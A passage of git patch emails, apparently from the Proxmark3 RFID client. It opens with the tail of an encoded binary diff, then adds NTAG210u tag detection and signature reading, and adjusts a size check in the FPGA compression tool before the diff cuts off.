zJ2EkC>vTy(3KeF7TEnwCyvDp`>~QEJ<-GOnn=Kn7hJL(}Sf^Xju0>9!KXgRw2&o$1 z#ddAW;99!r5Rgz`e3ib5<9r14mYqaWeQ2_}L40#B`_?#ft?zM#BH~*WolL9X;)PDH z<1x`~VOXUN52ll+9$en)J9|K);3e7&`2-oS6&*6k4O>(w{X`G{-lYNHw6B(Y+l<3k zzzOnigz4Li@WusjMzIQ|e)!!9b1s}r53+P{#o-)7?jp6yQDk%}p?)&w(o&}wwU+BD zv24%SVFs6aLUbXB^4AZeR`uI-E6-sS?B{@4wQHFNagER@Z?6u91@4sXDQteUN!l3( zOu$GRZc+pyf-PmO--u$Y&8C2E3MFys9fiSK3Z`)m%KRm!U|tA4;gwa=zbG( z&`-|klYH@S)v=xBXeH=(tLInFEu8ZJR%>xU>W)?U8MRcpUGQhy_hwCPLoTZvLB}ve zK2$LuB2-~`RnP^-j|81^8byyk*S@Y9o1Fkg7b0saC+f751IKo4(l#c6;KkZb;9nLURYPLvmDfCq?|jTg-u6L7!edd<=FlnbW|Lr zw@^~h8A-|hI!*INQZm4(Xz2A%;DTeTq^$Ct%7m`(o!7zWXZM4nN5m4O}lCVGaOW(hKrszq9(L zzT(*ynRUf&aaP0}Qd{CEkjVUeIo$0k9e99_Rh-q44*I!CTp;uo$m-&|bTg_vtMRx> zTf138v!G&<<6-NbklSdIn*Ym2Rcx9#1G^PHwmU( z)T(aB26QFP8?AGmk6EzRku48DT=&%a$?5N%zO{e<#$rR_^YC)(uzXU6_s;<1J4mde z2q~lTO{?!HZ$PX}(tZRaT1XVPBmkm_@eF_Jzbi{XiS;49Cl+tu(ps+P?TKP_e#k|$Zjli|->!3J(N-zZ zBBPidAa(G?H*beWfUNm>#~$nn+$NVH#^1Lh69EgWDaihOSjvJmqGR_-u3NdF3f2?3 zU;PGOg^9}*U|_w~ZU)}u{}VsJfy9@Y#Lmg-XiJk|#bE7b=&i_iYGQs$Y4z%Jl%T=o zskcSo>r=yrUF;&Ql~E%VuQ-2?w0)QmhWdxfz42>@=N1fLZq8=0H%R=B|L{Vbg}5NS z+5#>+bpMN@`Wm3vaSLYSz*GL$$-iS6Bnp=#4E}DPA2KM_kBuSh)r)$-LUp!Wg{{Mq z{@nYz)cL=B@~=b@MhV$>PqL$PKiO%niBR++a}%3EskhZ0SVFdPdROR^{WD9jJ8#Li zHwTPeTQH9C-)fgKO&*Lj`IMgh#E0n(YF}L?%yAE&_-H@_|D`<${VufaE)=y6Wha~r zvbn7HJio&fY$_1tddTCv?e>`9^CO_hX%+NVW0`J07}&8q~Ia@Y`n8!K#Bxz9GCA5UUnSz zKAxnv^&kFtd9dFOHec;2-3uo#_%GEDQ#W&P2J6~h1gQ8#@kYi!+1UQUu74ZYS450h zeOF>J>77NS%D--^cP{`d>ZK782^n;ZU2)hsi=I!ZHwVfsEC{`07r znZl2fO2%njgIEVTzbm8PnR5uCq{h^N!lK^X9z0W#PnDbC2PK{A%`R!5 z3T+C|hhcgXO$%4mk|-P3Sjs~Rnqkfn*olPDf7fZR7)s+e?tZK=A6Y0nw}=+tvoO3$ zi>toz=r+Lo%>epW2wMk_^JV?PKf9vTd}5xKmX@vtY0JhzK&2wGMPqK6_y25cyPyfO2x6*r0K{+EU^&&+wZwsxHMq^3owe?5}8F%#~mw1W^kf5$T zKz461vS9u;-HV@y$i7%_vOl;uLR}MN4-7@$JXvXS+8rhExSmlr;uadt%oUD6rsW}r zOx^fY7>`$-(LzMSE}GXnT!sEM6@&Ga!>d5a?%rXV)AQUA4Qpr3@Toin%B2PO#91x& zq#`#fwVR{yWBDJt`;63_xv8Xmm1f`?ud+qA%d<0;TwfG(mB*5GP{mjbMH6)I?n!VB zGs#bIp)Rdu;o@oYHvdw19Je_guZ6%7JlQVUpWJ0*7AN=PnIy=pMPfUL>9c11NQC%As%xDU?2$e!w*e-;k1!G!2vO;%YEEc-pRhQp) zg{T*~y!wY+W{zs6e-AD@{waJD4hNT^k-hKo0>cK*`w5R4>%3_v3ps9%N8?3j@j-Nz z3l05}+C8=8EFq}tfc|W(V_9u8yxIPXBDcAk57CNw19G&l_IOH^MNZN3q=?{Z8yaM< z2js@?Qsgyo$e?rs16}!>GQJlyvmUw-no{A%fPDZ7#dlDXk)lSt1!Jb9yCDY-9w{Iu zM(7lT!M~kY=Kt|EJ%y_i81&;%KsE3PZivepzhx+SA_qm{bE7Rm8s@Z=!;urui17+E z-ujeaH4#0sKo+vd1z~48CcDhLe`H)};~C+|cP^4sNz6)$#hn6YU(Cj%@cD8wZmbq; z3t^U?!C894eSuhOg{W1gM6V7Fe#=Ia=EGW^XvLH8tom|Ec5A7q$4Qtx_>m24^brf$ z-P|lA6aT5=qk-kpIuqtHhSG5)PgLdaSfib9`v2pllu>4btVn;wv?D>^mKJ`G!;-r9 z;N@8cZ#U+gne^&5E+JD>)4ll$BN`}US6A1waab+^a(dI#RH8{}38L&4A|I1-zAAqQ zP1#B6KE01wauLL+d7&N!XW@uCx(mPFMX;(jH~Dfjl022e-V9 z1)7Nm7Wy&;B|WD=wpxX3Z*ORmMGN{WrDPF>c>ZdK1^G{?6#^d6CZD-ccSy6q1$3(qPsd(n=o*;P?6`}$S4jSb?xoq;=Xn@62yLxzVP?N;vj-DZrE)taTvGvZ!*KI_tu-^MX%>} zuAOd#hu(FI^2}H*zPlumii%6_jsJ@B;=b(@eBm!Ph#RrE?mK224W5rcCM@oD{U+v> zkA;Rx`u1A;;ZEKQy4R)n{-lbta5~~uI@ZSWUW{jCKWnHDOh5AXfzRELojp>1RDvzb zJVK^z{JOv}=dzPmMoz64w9r;>318iOfly_b8dM4nO|R@zP>3nb^aAL(G)M&jU$s!} zXiruM5F)msvmp$7!_QOqhQ?gr zU-Mzqq(<^sy@=z!io{IBTl)2sl))+elbO{In>PtTzUWl)qLFvwel^WR&6G$;pMEu@ z9vF_QvIav;fL^2u9A>Da{-)6$1+#GY$Q%04`+0-~p%XBa$dXgi#Hc#p_$MAD#0ZMz zd)1;<{ZyH{k=rVG)YrGkYw#^%^?lNYlzW5+VaTElM&O&|7r^l4B}E3|aYtXH%7Ay% zb3p;M$Hf2@TwWuNUroxpUlGVd%%rJD@F-b=SYVM^JP1MpLuc26d6ayDSS2qeTUn=G zEVh>+Z>0TIM7`4elfeFGXkaEJ7$Nneub+nZNJ;VPkl#Yj46?Zo(X{I@9lE~Cv59yT zGFU%@$5FVTbyG@%9uvV#+Ek&rh7lStLbBrIDu}ig<*EtcXVSSGM7sgwyW*Wk${;}lD zQVccOxV4kRm@_Q7aB*@gH#O*f_fm(5iu!VUX&YQHlDGyrTN^y|=)IA^9di2Z+Yz!M zr@Nqk4j)`*3>4}G3O<^O5exJef(wP3WjG&K&VDtT%KnvFpJ(|jQw`~^dJ z=R24C_Zq;()cZs@t(P?dANpbN#1~{e9nyIBs5Q@?wq6y2Jv{^76;pa{_?7$rhLUN9 zDtm~3PXHI@>lEsA*1k@GeU<@p@xSwkuOdZM(IuJ1NLaCc?o4{E&$PXyb!4F6`5VrJ z$-H0w3a3x^p^8131pfnz|3!515uqA#TSUXXaAu<=U!J^w6D?f=rVlRd3N7(H?$^JS zng0y%Nnb2AIXf)rnKF5xuq0Rr8oXsD-sp1hT2^O>v1@p=a&^znJx}^{{LK|%X-I6| z6p{72?6V}QUSem^@-INyf4LMZd!Xo{RsB(R^3%hWl|>oK3}dkp zqPnaS**NlVC~_U*FWjmZjV|2B_yQE_>gx96)O9m}w>_Uwtt(R~78`ygCPyIastLrH z8y>4Y9=YD|e8iq3xn&fk;Un(W&|?I`wXLeNwug2($8V<5_0wfo)r5!% ze2GAN5*WLfw@u`!&U^pc^br^-R5}_-9*zEq@Lv%s`I^;ibbKI|YLinS1g_Uq-AbWl8~fqN%ziKOjD(e-E4op zSh1+pN}@z`d`dg_VJo*!02!+ItB^F5L=m4bn zkSy^_s{Rii1t+jKFHYDGR3EK=h`mWL%+u1+aynh*kArf2xY{2V`D{`tdGcBUP@h74 z!vREKx&>T2dTedw?XRxlWn3)tQmAIj$0pZqX1Ik=a*uvU!Cx(KtCg;9l^r^a1x*l4 z&X*EQ&T)$7ss~oBwu+Tpz(_G6QtyUUQMr)>q`mYoE@V|^eGvaDW{3=b1m~NV<`J^x zymOg;t2+1VwovspK(NfE1W)HOw|VmU(=}!$S-~JJLV7-VGhOgpL9ISmv}cLt^Ye30~JMD18(&wbOf%nAkfISk=yl)@ek^$|p* zKAB(BcW*fz0e=MP`wIALek zi3&7btelN^A$un0<0V}ls($7rnzU%lwY)gXD$HXLb5~*4t9L-uvW{(|(!Bnms0E@d z;1LKQ%dVWwJ$P`}>kHDewE{Orz?12F^){5M8qGS$YVe17Keqhxq7T~aDxT{Ba^$%L z$Ety-EKWt$FK#~o*;)oxBMn=&BQ%Ua-2*wv5u`r$^E|LHcR!lOD2(*0hPsRKnQXYZ zd>V+2Ucn&o`DVFCFj;Jgs&V{9E|=H4UA)fpDO$12-cPIN?4dHyXnf`_0 zqW-~fjxnnB3SS-}5>Hxlr3G~=*A&t-e4^4eaP{W>BUago>?e!NUq zd5(7Yy64=YVEa5x^!$Y&qOjml;iVPpARHp_l@H@#f(Xwu;4Iz2@CF~hveS`wrYA+KPV@0~#7Q7GST|#U*6m90EijBLRuGfm~+G6MLf`x_lBd7MF@Mrh83~hIDNXQWNXRPQkC= z9bSE3myk*>pg+;;r;D?3A2rIC$+PePj(nqL_h5Rdt<=MVd+(Taa>~mf4w^*|IW5_+ z`$S0OgxYENmTIyMwf|F>9Vs}ZW-9w}?Cp+u z%kHbOMq1EdnC2wQ(G6{5zV~T!wr2f4ce1YRSM9&xRW3|yO@H&{nok)wo!RJE7|h70k?Q|Y&9#75h^&= z!$Hjko|TvhWI6d9MCuWl`(?NE5AoMnfXndwgd0G+y4}~JtXHW-s@~2y-4maZ@#}5; zhw6^f16CqqT5-ut#4^h~E*g0zv+lU$R^A{~x#ESegJYWzRD71wO274)(TYyN=ib(@ z_C^+>_E!fkKO$tySnly<8k6ES4wmT-Ok+sxgZGjEl}W1+_dn2>#wgJC+xJ!Ql(u`4 zlJHWn+7_~urL)8=c$mdn`FsBjQk$Y}PY9(|7=O|G_wuyB6F8|9T@(Js#4K9(kisN_kPGA_!SD*I!we4ck2r{Sxi>*S$tCLyOgWPG#C4F?3&9$yqglqsj`z;rpPq1)kVG8X09Z{jaQ)L`*NM5 z^2|>EF)FpSLvv6i7dE$a&K$Z77^?}u-1VOJ)>KN%75wPoYnG!p2$_YOes%7`G8>oX zOk+>puIb-~sx~@B(I|e*lq&8@7eVF=?k#jtZK;!XimP?jDUcm~3)uZh!n$#5SEN;! zuI8kSd8@0;UixTto`M`_!R7Pz9$uIaKJ3klR2u^pqr|`%6U+*FAYXdK1B8Vn9J*7J zYu`MuOLuxuh-wHHYTA6oO*z=WHnr+!4<(@44PK>s2-920Uj4GlZqCqF`7YzuFX=^p zZP$nDdB6l@PW_~!9tfwimm?y3YZ|q;6B2zuc};9HSzQ>koNXfI+7R8NoB{jJ7X*~} z`K+zPr%s`%m%Hukl4dEPzTVJL&9=ptfp3pGDxAyZxNvf6yj9M+^SLVshI#3MPG(ve zxX5NLTyZ*Q>f}Sk2uK$t_D_-z&AXr!f9Xzk%>1FFZo>4#a_;`lgY+d{1?Ug+p zrGO<=e9&V})xq`J^Wmq(rTaPIt{xZghVmvYuc;ARdzgKF;0$z0R@Nb3p;#QUHjJLW z-j~T`?Hayslg^J1rnte1E|Uqs2Y z6?|~S521UdLU8Xe!FTP}u59sWtdIAXeQJ$1A44$bO>%4O5la~Ki-A40yqsl}%Uv$e4X(GZg=&n9N}IZq`G zu(j}I=G{9zpx&k9caDJ#Hdi^LH(5RnRG2BBj1CjnC0Lo0nxX!!1x63Gp z=7_>|27@@J>(#gf0P65u@{WziF*Xnx@*GXbY>8^ZeZa*716eS6I^MW*yF(wdbG(1W z-F&vcBIpw>|7g?-)d>Ry&P(%4OOElebdvsiMS5B}yJ;dm@U>d+c%60oNiY>0f@RB zJA=%bb)QOO>=qt}uWqnDJt5f#*xBrqY>grgoih(8{FryR5Kq2LDdSGpHmwKEzlMSf z75d@0r5}!w^}j_pFZeCZv+20Gw641sUgP8GnXK!+joIjitAgky8dk1hP)l;DO#J%c;Rpw2~xeT%!P8e`)^AC#x+ot|!YG>U!Sn@zBQlFO)C#i~KpA>d@N*eod=5)0B|&i@j#> zw^cCuRgZLNEXRtK^1MSe*|U`DvsxwdC|{H)H$n17<6gUOZnF!%8?#g&ia9PXS@9`Y zMOcL&2)th!slY2j9>Q>ZXcyC!56(?U(7x4ck-&v#CVb?umrSqlvgR?O^2P|XB~SGr zika=GgE^Pt@^O6U+pQV7m$y?KZ5X8fyoZCNKx08 z_)N3eTj=;b^n?y}E05}RL)3qN?}CX2=Hn$NZ4lKQaL%DH7@eA=@Vl zM)4Bls@}j~cYCYPH5cAaf_D^{5lFE?sY}%&^q;>Ys?5=ISNdV?l$~DJu+PPKU5bImvL!G9gdqiN+Op%(~dBJYG|c2Qd&cIYC{x3wS>`k@JI_ zjS2a0=Ak4q>Ceb)$ee}A{&#J`BKp_UdLu;XNj{q`Q8WSrZ?GJ*sAm)Q?}EV~WMxwm zo@s84f&>8OPelWfuM0|0S zPzU}_d)v+j+>El`-a~+g=5VMh&twAv81XM(w#&mz`$drXvvETf^xSvtMEkimSx$g(-sa>3>unz zJr($Gx3}!rH{<@6`6n|0Y&Q13Se9>-;vR_P;R;ZdG9R`wL86Iha^JO_imW-!ZOUOi z5hwDJ_uLhHRPsVjg1O<31R>)%OnFelw{K3Lp<@!bTkc5hVc_wJDbeZvX+#3cT|#Pq z%^b|$KcD@Z1EyY()(FDpH0M{)oCZ!`mJ^v-W;aT92d*-3Y9Zr;q6%kFNAty;mN~m7 zN4EH`uZL)=j))U8dCm3m3r)v#D_WY-78`BN3|qWo!2S5W;a@O-v%6-Nr3xKtBxgUp z`9_fh8%BXCUQ=tIR3~igkY-w0u{vFc;c)&epQA+aU|?>o8acI`F>58txF;Z> zncF+CHfzoC02beBFF0?U11RqvCf$vefU*YCc~*1Boey}hg&%;8kqzEg@yTz7`HdZ$ zYg;bvT{uISP>8ruJ$gQ8w&scZJI0*jdW(OitBB~#ut|B*Ex~kAg6_rrd$>`T&O7|# z?vRexKSnmsjG}a%XWYn$*hl3fO%B)^nnB;5f@oSyB+PKExs!~BtTx@m=YuP9ru4&Z znl-fNS&SW$UE*fr{CWU`GA1Q;KGxyZOji#F=)B<^0ga0(E`>OF74T4G(myZDo=El+ z=0w3>O=RKza4mxDsiko^$MsoyvAPUZhi8oQ{nN;X?e=mF)=&vAwe7js)pb z9tyUxyW&kg?X3>LO37GAn+w$ehc6L?HOXX(f+jM zlzvIBZ0< z7Ey+4URsx?r)j-?cSt2EZKBG_CwL)<&*La=jaH|VBl}ZZ%edzWGA(7ydOyZ4Vpp6r ziz7{~a23ErHv1AS(wE@y;Y@F5+j+rMVTM+8>9K|I0jqi`$-&uYjhhy|F6kMlN&2;H z!pSf62K``%{#?h#MaJkV7vrz!6?Jzf}GiUm&@R zo^$m3w)OMM;vt!5yWZ%d(MqMxaBfl!9j@RvRNvLkjYYh0y40f)xsgs1( z;MA~X!Fd{tm@ZgYZB~y?Z(jD$q=h6VpOCRzeWP#n8s4erZFLQ1DAbdQ{J5B#RS#x zw9H}o(p9)f?Jeuo=XQ^qm&pF2%X-}Xm63=-G|-=w9;?y;fqN>#B$U>ixj2>TuxjYY9O#na4fO+9_+ONqzA(fQH*0yar)^UD|yZ?nBv`-J55|Fm(QQB7=J7)C_}1QaYFy(!XBdJRYr0!r__s1T7Jq=f*| zdlQsir5B|)snVN-BFz9&0s_)Ifp3Bz_j<2)tyx+5lgyksbM`*-?&sY!8DK&u=3c#d zwHwXKKP`=l;_WbTHvCs6$v1-fBop?HYKt&Bht{eJLbQHH&z>Nk_3kF@AAcJ?*Qg+t ze0;8F=y{H%nY6u?N`dXrm&W8a{o~*bh^ESCD+8TZf)CWIKa=nXEV~gEx;iFV?Ujdc z)ysw{ek;8oHqzf%7;fJ}&@;4r@4ju^Fw9N7u7eZu^qttH(A?1^zIsZljeV`<2aGMV znaNyq8DUPK_%2ug7bgt7q$6DidUr8-O+7Gag?@$B&%K6bsj>XxW?4q1iigw0IGiYL zz@3S~SM5jG!ZfW?BJ5$6Z$FA`MsRfBXqeMjDb1m7Z84xDmZHpfa>QCBS;w zK@iQD{Cp=9x>ToLu$_Q-FRu!x;iZ19bAIx%mBPo6gU4AFU7~XCC7;YjS%}%|2jj21 z(`-XZxTHgNzkOIyJIr*2-b0n+&x#0OzAwCU(bFfh;Sa7}cN{uY+Lj1z=N7LroIV;w zg^~E`?|d2V(-pud48F}6wTZapsOH_#Xh2Nmr>Hx6qp{qmuKY3M#q16;fgv{a=!&7~ zY$E3Ew!(n4G_}t;-HUJmYMfTv2csh-4w~ImC=cW89xoVfonn)>$t3p~QgPG2^kDO6 z^3BWbz`Iv_lE z7{g7OPhW&b9?CSeNX7T;C z@&3ez&BcbP9{Lnz_4_Js^AlFNiKyWxTU{Y_OiB`zoJwzF?%M*9z+q3By< zO#;&xeVkxDr{y(7!rjp33kpb??a%dZ6W=905v7@|6HqpP_6 z59$loe5@v!F#B;bC+2q*NYP}Rx;yG9esdKTeyZCh$2)hS9M2`i-UbJ6RX;TW$_;qu zSb7Bo-_$?+K2fWN6q+Zw)K`X=kZrwvW%0>j$F(OqF)%VrkOQu=xt#~z8rg2X;nNf` zFpEJ?oe!#te)>zxC~3l@bXEFp-r(#&!MFf1w($}aUPv~^Z7jCMGg`GZ>q*=b$Xs6h zu{>{AvLGejUJY)Xy)*D z2%3x!o3UHpi`;_`_ZiO7zUp0%%eNkA-6$lGpOYuFVj%wh$b)gzNiLLnCABc#o6GOs zHq!J6Mmhe_fqdn|I}vQ@7|O_uL;@5CfF$e$`E5)qib`E|FP3Wq?H?W;yxnTIKBlQh zyfsuDuomqsnuG@)@1&y_yy_8bxms8gETG#I6mT32R~RT2jaS?;EZxl;OPS-nTQKS% zuBK3?pWYmBW10=8PJC)@WNLu~-y){%s@%!u#4uqz+33dSTX%Gu($N>#pZTa<2m2|> zyVeCVgsKoHJm{yqM=c^@lz=}HN>s?-ar`*RW%_XANddq9^_70cxiO! zOlcmC4A+W0YjS-{1Wk`~Iu31D1;Ot6#BLVKcAjAT$$1rT9k+_j-FksCuWQFgO6(Y4IQeEkZK5qLy;jlk zX^_2HP113|!K^kMK^rjF^+cRrEww!Pg~X>Ixe$M zhEEdtpQzSofaN8J9`(Ou;`oACF2?ASAM=rCHuIUA-U$xrCk%=uy(j9rzG!v0;<(to zDk`N}R~nvUgV*Kj0fqymHkZhtqd<0bk~ynR9`uSM&}Bv8==#4zKPnI+p%7sio#eWc zmUp;0>0~^$`#jyaMNzNTNpf54)v{DZ1=N^~Yey7+^5|~Aecz(kJG6{MoyDnxxuNp< zwX0jlig0&1y&{3k>!$AYj&l%tN_!S6j>E8<6tOs=l&DL#`0ad0A)q7SPbbHR-tA$P zTfsYrxAs$E#pzOr2gJ5;f1amnP_Jfu%d43?h~E4iIBHP)eQXn9YDS`xP7!<$v z`%mqCNRzx&1M=S^(OlusQ3|lJGyZIBRIx{*L29a{ms0RE8;lcRDbJf~NzF3OKr65%+v;;;*!XMmAQk$z!GdjCRO^L31Qkil5c?9k#Cxn?6z^lOuqcx`>YgAt5o6?sIW z!9cRcK-4H34Yq-leNB5rlLbevyfXjL7t8oJ9d^4B9}g|%8*ud{j12J!tFvS2^CRnE3Ukp`#N#WVG{Fz1j++pj3*a`S6Ou4jUL{7p_b}Ud6f?ke`wVsa?IMZE|4&2}3uAB2?_|Xw zPK0du7l<>ciJCU@7USZ5tfUs_*Et{!R+m(9ev>~qvbLyP^_UHS6iaJtg6<{)T`<}j z%S0(kG(3@4)V4D|?X|1K=QDRLk6;J@a;e-hD=5l9HATe@sbH4#g(|CMiy$e^E~xZF z86?U9@wiA|YbZBhjIDGm%5${NwGA$zXWgwWcYEoCVg5UJMVcoXa!AMq}Q4i>Z8da|tmC^Rbs^8=*v&+-u z#~u^_gYluFf~?$is&1w&Y+$IU0BPT604sAlrsSG(9gxOl`+F&3SEDfQEX8pvEg})+ ze&R-P&5m0yJqi%bp+JDNJ(Txu3b@XkCIeq+4D2)Yn33Aad)}+(NON3UrMLRNjnI&q z_it0%8OG-!!G2!GvGLIyZ}qLx%4F@jT0mNf?dMnFd-sLK_qW?kC8U0f*JrgA!G+WC2qdW?NyzEuY~~uewK>_z zH@?J?aaOsa_yn-rou-(s?I^gt8QIVC#~b0}=EUyMI%r_k0 zr#u-y8+-lH??-SJJCtS3S@4(pz$qaoXDRjA%~k^(&u$j*%F1azbH?j!bQn{dR*kyP z@EDt#)yt=3iT$U@Sad1%@;j~Ug`5A;xlh8#{WSgo82QapxRH#x^;?bOVsE0z){nfR zRyz;E;5{3p$*){mB}vID+#DKbE=Lg%O~EKhpEz`zIi%%r6ts62X_l}M(MdI=<4`^I z)+-IE3Zvzr&XmgIadGv`m$+e#>sMvP(bpHG&mglJb=G(x-ca36-;*OUlBYyYN_Gc= zLyM)i|8@92IdkB6o>t=qM+EKX2@^$~A0%A>zyIVdgXKZjr9klT;u)iWh3brgm&4ij zbyKduzR5*RZ)>=X29W0DZzIjHDR=&oOcZQfO&<-Tpt0{;ZwL)Q3adMG_T24{vwtGu zR#T|gQn|fEn&3!;l9)ve!QcV$w_)S!3dX7d<=j~e94{fC!fuWkqXX zK(DI4%AxrWk#C`&)YGN&jQm)hHWV9cYRP{bg)BjltpIlY(^IR@lemO+Dg7uv7RGF%&J!))HH5qJ6@io$W*M%7Zg*hE-6GfJw#0DtL!;O}+S z@*jLEFv~{Wf2H2l|4zNyzj<1E5a+u;8DbJ>g!ZA;6}ykJMRye-(m6n{%~;{@RwR|r zZ}F=W->A9s^~z%O;lh`$B@R}3EeMc`?cn~=KTKrHEJC*|(UCdV=Wao4`~fT}X@OL# z)uZLCI;P4M_)LO!`5$!W>8uKppT;g=G6_y6GiXLCFj1~wH3vh_C&5I@1XDqU*|hnA z5wb4b7i2&g^Qjx%gHb>+%Z4Zve2zT2tMs7*D} z@MqtzG6xY01X7j$qdNZUYVrQSC^)FR?}sdte-@$-s|uOho9dsyaFxKmE3>Girh_I( zXkUoPcpuH_PNs*s{kSp=bP>L-P3(O8u43lsJNbo$jxO_s9&f<-X}~Jf7Dk(O23ACF z0$@eMZe|dk#y{4p5e)CQcO+h{yWvHow3lr4^y`;N9k08IPqX z_S7%Xu*-jJ5vQ(^2*#ncqK3QMJLj=m*W|c36)4MhyZ~YCUP6fLdf48A&?9hKX%Oo^ zcWDVtx~_Fcx^;!p!WK7`9ky=%&zK^Lolsez27LLo8DW4Xb_IY!XQYTi69HRAPGW0Q zSLfv>kwHeA(f(98^$XN{N5qC3D-}l8#{uZF8nhC(%GzG zr9yv-eQx$;==Q3vyMDi#SckO6UI3@ceCbl`41}xMB~OC$kD)Y>V_gI!d>h7E@PQwb zMaP}HBpvIvpe9wTzY{V%-z696?yDhUEOSRL{=+eJcdh_bfLZvnXIA)~Gr{MzY@Yk% zLC~($(B2x@Wug7*9C`mCyCy_1{y{Tv(ZS%D7P{tYL%RTI)4)uSV6K$~$Kh_nK@@S)M`{{fh%5fcCa literal 0 HcmV?d00001 From 451d4cf08da262d52189da39d2be66188f44f322 Mon Sep 17 00:00:00 2001 From: ah01 Date: Sun, 13 Jun 2021 16:48:41 +0200 Subject: [PATCH 27/77] Add support for NTAG210u --- client/src/cmdhfmfu.c | 17 ++++++++++------- client/src/cmdhfmfu.h | 1 + 2 files changed, 11 insertions(+), 7 deletions(-) diff --git a/client/src/cmdhfmfu.c b/client/src/cmdhfmfu.c index 7bb28a302..146fd0121 100644 --- a/client/src/cmdhfmfu.c +++ b/client/src/cmdhfmfu.c @@ -60,11 +60,11 @@ uint8_t default_pwd_pack[][4] = { }; uint32_t UL_TYPES_ARRAY[] = { - UNKNOWN, UL, UL_C, UL_EV1_48, UL_EV1_128, NTAG, - NTAG_203, NTAG_210, NTAG_212, NTAG_213, NTAG_215, NTAG_216, - MY_D, MY_D_NFC, MY_D_MOVE, MY_D_MOVE_NFC, MY_D_MOVE_LEAN, FUDAN_UL, - UL_EV1, NTAG_213_F, NTAG_216_F, UL_NANO_40, NTAG_I2C_1K, NTAG_213_TT, - NTAG_213_C + UNKNOWN, UL, UL_C, UL_EV1_48, UL_EV1_128, NTAG, + NTAG_203, NTAG_210, NTAG_212, NTAG_213, NTAG_215, NTAG_216, + MY_D, MY_D_NFC, MY_D_MOVE, MY_D_MOVE_NFC, MY_D_MOVE_LEAN, FUDAN_UL, + UL_EV1, NTAG_213_F, NTAG_216_F, UL_NANO_40, NTAG_I2C_1K, NTAG_213_TT, + NTAG_213_C, NTAG_210u }; uint8_t UL_MEMORY_ARRAY[ARRAYLEN(UL_TYPES_ARRAY)] = { @@ -72,7 +72,7 @@ uint8_t UL_MEMORY_ARRAY[ARRAYLEN(UL_TYPES_ARRAY)] = { MAX_NTAG_203, MAX_NTAG_210, MAX_NTAG_212, MAX_NTAG_213, MAX_NTAG_215, MAX_NTAG_216, MAX_UL_BLOCKS, MAX_MY_D_NFC, MAX_MY_D_MOVE, MAX_MY_D_MOVE, MAX_MY_D_MOVE_LEAN, MAX_UL_BLOCKS, MAX_ULEV1a_BLOCKS, MAX_NTAG_213, MAX_NTAG_216, MAX_UL_NANO_40, MAX_NTAG_I2C_1K, MAX_NTAG_213, - MAX_NTAG_213 + MAX_NTAG_213, MAX_NTAG_210 }; //------------------------------------ @@ -525,6 +525,8 @@ int ul_print_type(uint32_t tagtype, uint8_t spaces) { snprintf(typestr, sizeof(typestr), "%*sTYPE: " _YELLOW_("NTAG UNKNOWN"), spaces, ""); else if (tagtype & NTAG_203) snprintf(typestr, sizeof(typestr), "%*sTYPE: " _YELLOW_("NTAG 203 144bytes (NT2H0301F0DT)"), spaces, ""); + else if (tagtype & NTAG_210u) + snprintf(typestr, sizeof(typestr), "%*sTYPE: " _YELLOW_("NTAG 210u (micro) 48bytes (NT2L1001G0DU)"), spaces, ""); else if (tagtype & NTAG_210) snprintf(typestr, sizeof(typestr), "%*sTYPE: " _YELLOW_("NTAG 210 48bytes (NT2L1011G0DU)"), spaces, ""); else if (tagtype & NTAG_212) @@ -1276,6 +1278,7 @@ uint32_t GetHF14AMfU_Type(void) { else if (memcmp(version, "\x00\x04\x03\x02\x01\x00\x0E", 7) == 0) { tagtype = UL_EV1_128; break; } else if (memcmp(version, "\x00\x34\x21\x01\x01\x00\x0E", 7) == 0) { tagtype = UL_EV1_128; break; } // Mikron JSC Russia EV1 41 pages tag else if (memcmp(version, "\x00\x04\x04\x01\x01\x00\x0B", 7) == 0) { tagtype = NTAG_210; break; } + else if (memcmp(version, "\x00\x04\x04\x01\x02\x00\x0B", 7) == 0) { tagtype = NTAG_210u; break; } else if (memcmp(version, "\x00\x04\x04\x01\x01\x00\x0E", 7) == 0) { tagtype = NTAG_212; break; } else if (memcmp(version, "\x00\x04\x04\x02\x01\x00\x0F", 7) == 0) { tagtype = NTAG_213; break; } else if (memcmp(version, "\x00\x04\x04\x02\x01\x01\x0F", 7) == 0) { tagtype = NTAG_213_C; break; } @@ -1520,7 +1523,7 @@ static int CmdHF14AMfUInfo(const char *Cmd) { } // Read signature - if ((tagtype & (UL_EV1_48 | UL_EV1_128 | UL_EV1 | UL_NANO_40 | NTAG_213 | NTAG_213_F | NTAG_213_C | NTAG_213_TT | NTAG_215 | NTAG_216 | NTAG_216_F | NTAG_I2C_1K | NTAG_I2C_2K | NTAG_I2C_1K_PLUS | NTAG_I2C_2K_PLUS))) { + if ((tagtype & (UL_EV1_48 | UL_EV1_128 | UL_EV1 | UL_NANO_40 | NTAG_210u | NTAG_213 | NTAG_213_F | NTAG_213_C | NTAG_213_TT | NTAG_215 | NTAG_216 | NTAG_216_F | NTAG_I2C_1K | NTAG_I2C_2K | NTAG_I2C_1K_PLUS | NTAG_I2C_2K_PLUS))) { uint8_t ulev1_signature[32] = {0x00}; status = ulev1_readSignature(ulev1_signature, sizeof(ulev1_signature)); if (status == -1) { diff --git a/client/src/cmdhfmfu.h b/client/src/cmdhfmfu.h index c4ac2f815..03da49c66 100644 --- a/client/src/cmdhfmfu.h +++ b/client/src/cmdhfmfu.h @@ -64,6 +64,7 @@ typedef enum TAGTYPE_UL { MAGIC_1A = 0x10000000 | MAGIC, MAGIC_1B = 0x20000000 | MAGIC, MAGIC_NTAG = 0x40000000 | MAGIC, + NTAG_210u = 0x80000000, UL_MAGIC = UL | MAGIC, UL_C_MAGIC = UL_C | MAGIC, UL_ERROR = 0xFFFFFF, From 0059cec493edc9fd00d8f96dcf410ab0bdd17a1d Mon Sep 17 00:00:00 2001 From: Philippe Teuwen Date: Tue, 8 Jun 2021 00:17:50 +0200 Subject: [PATCH 28/77] fpga_compress decompress: truncate output files --- tools/fpga_compress/fpga_compress.c | 38 +++++++++++++++++++++++------ 1 file changed, 31 insertions(+), 7 deletions(-) diff --git a/tools/fpga_compress/fpga_compress.c b/tools/fpga_compress/fpga_compress.c index 65ae2a33a..003236994 100644 --- a/tools/fpga_compress/fpga_compress.c +++ b/tools/fpga_compress/fpga_compress.c @@ -51,7 +51,7 @@ static int zlib_compress(FILE *infile[], uint8_t num_infiles, FILE *outfile) { uint32_t total_size = 0; do { - if (total_size >= num_infiles * FPGA_CONFIG_SIZE) { + if (total_size > num_infiles * FPGA_CONFIG_SIZE) { fprintf(stderr, "Input files too big (total > %li bytes). These are probably not PM3 FPGA config files.\n" , num_infiles * FPGA_CONFIG_SIZE @@ -144,7 +144,9 @@ typedef struct lz4_stream_s { // 